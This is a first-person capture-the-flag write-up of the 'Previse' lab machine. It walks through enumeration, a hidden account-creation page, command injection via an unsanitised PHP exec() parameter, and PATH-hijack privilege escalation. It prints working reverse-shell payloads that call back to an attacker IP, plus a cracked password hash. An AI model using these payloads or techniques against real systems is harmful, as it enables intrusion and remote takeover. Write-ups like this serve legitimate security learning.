Vulnerabilities exploited:
- Exposed protected page
- Exposed sensitive site data
- Unsanitised PHP exec() command
- Password Re-use
- PATH variable abuse due to indirect referencing
Enumerating the network
nmap -sC -sV -oA nmap/previse 10.10.11.104 -v
-sC : Load default scripts
-sV : Enumerate versions
-oA : Output all formats
-v : verbose
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ports 22
and 80
are open. I started gobuster
before browsing the website.
Directory brute-forcing
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.11.104 -x txt,php
Enumerating front-end application
A web application was hosted on port 80
and it required a valid login to use the application. I first attempted with common default credentials such as admin:admin
, but failed. I also did not see any way to create an account to use the application.
There were nothing else I could find on the web application front nor source code, so I checked my gobuster
results to see if there were any interesting hits.
There were a few listed, but I was particularly interested in accounts.php
. However, browsing to it redirected me back to the login page.
Creating an account
I wanted to know what happened in the process before redirecting me to the login page, I used curl http://10.10.11.104 -v
to see if I could get anything.
To my surprise, the HTML source code on accounts.php
was readable. From the source code, I understood that it was also a page for account creation.
I opened up burpsuite
and captured the GET
request to accounts.php
and prepared to create an account to the web application via a crafted POST
request.
I sent the intercepted request on burpsuite
to Repeater and changed the request type from GET
to POST
. Then, I prepared the request with the required fields to create an account:
# A valid Content-Type has to be declared for a valid POST request.
# This could be achieved using curl too, however the advantage of
# using burpsuite is that, burpsuite would autofill certain headers
# such as the Content-Length.
Content-Type: application/x-www-form-urlencoded
username=ratednull&password=ratednull&confirm=ratednull
An account was created successfully, so I could now login. I was able to access other functions on the web application such as uploading files and downloading of log files.
Discovering backup files
In the Files
page, there was a ZIP file, siteBackup.zip
uploaded. I downloaded it and noticed that they were PHP files for the web application. This meant that I could potentially discover vulnerabilities within the source code to allow me to gain my foothold into the target.
siteBackup.zip contents
Some interesting files I looked at first were:
1. config.php
This file contained MySQL credentials. But there was no remote MySQL database I could connect to.
2. files.php
I wanted to see if there were any vulnerabilities in the file upload or file read that I could exploit. However, I couldn't find any.
3. logs.php
This was an interesting file as it included a comment where the developer used a Python
script to delimit the log entries and pack it for download. The script was called via PHP's exec()
. There I found a potential vulnerability, an unsanitised input to exec()
could lead to arbitrary code execution.
Getting initial foothold
Focusing on logs.php
, I wanted to test if I had code execution via the exec()
command.
# Vulnerable code on lines 19, 20 in logs.php.
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
Without code sanitisation, I could add additional commands to execute after the first command:
# The following command would process logs for download, then run a ping command.
exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']} ; ping 10.10.14.4 -c 1")
To use the PoC, I intercepted the request from logs.php
and modified the delim
parameter.
# Proof of concept payload (URL Encode before sending request)
delim=comma;ping 10.10.14.4 -c 1
To check if the ping
command succeeded, I opened Wireshark
to sniff the packets.
And it worked. A ping command was sent from the target to my VM. Now, I can create a reverse shell payload. To ensure that the command would work, I used Python
to trigger the reverse shell connection.
delim=comma%3b/usr/bin/python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.4",8001))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'
I set up my nc listener
on port 8001
and then sent the payload request.
I successfully got my first foothold as www-data
.
Movement to M4lwhere user
I checked for valid users in the target machine and only root
and M4lwhere
were present.
cat /etc/passwd | grep -v "nologin\|false\|sync"
-v : exclude terms
Hashes in MySQL
I managed to log into the MySQL database in the target machine using the set of MySQL credentials found in config.php
from siteBackup.zip
.
I found a set of user hashes which was identified as md5crypt
by hashcat
.
hashcat --example-hashes | grep "\$1\$" -d4
Running hashcat
, I managed to crack the hash:
hashcat -m sqlhash /usr/share/wordlists/rockyou.txt
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
With the password, I successfully SSH-ed into M4lwhere
user.
Privilege escalation to root
I first ran sudo -l
to check if the user was able to run any commands as sudo
. It showed that the user was able to run a script as sudo.
I was able to read the contents of the script but was unable to edit due to permission settings.
I noticed the indirect calling of gzip
function. This was a telltale sign that I could create a malicious gzip
program and execute arbitrary commands as sudo
.
The PATH variable is an environment variable that contains an ordered list of paths that Linux will search for executables when running a command. Using these paths means that we do not have to specify an absolute path when running a command. (By: Baeldung)
This meant that I could create a malicious gzip
file and edit the PATH
variable to reference my gzip
file first by appending a new PATH
location.
Steps to get root
In target machine's shell as M4lwhere
user:
- Change directory to any writable directory (e.g. /dev/shm).
cd /dev/shm
- Create malicious
gzip
file.#!/bin/bash bash -i >& /dev/tcp/10.10.14.4/9001 0>&1
- Change malicious
gzip
file to executable.chmod +x gzip
- Add current directory to PATH.
PATH=.:${PATH}
- With
nc listener
started on host VM, run privileged command.# In host VM, start nc listener nc -lvnp 9001 # In target VM, run command sudo /opt/scripts/access_backup.sh
And root obtained.
Afternote
Rated Easy, it was a creative machine that included elements that required me to be more meticulous in each step of enumeration. That allowed me to get a clearer understanding on the workflow of the web application instead of working on plain assumptions. The direction of the machine and complexity were just right and definitely a fun box to complete.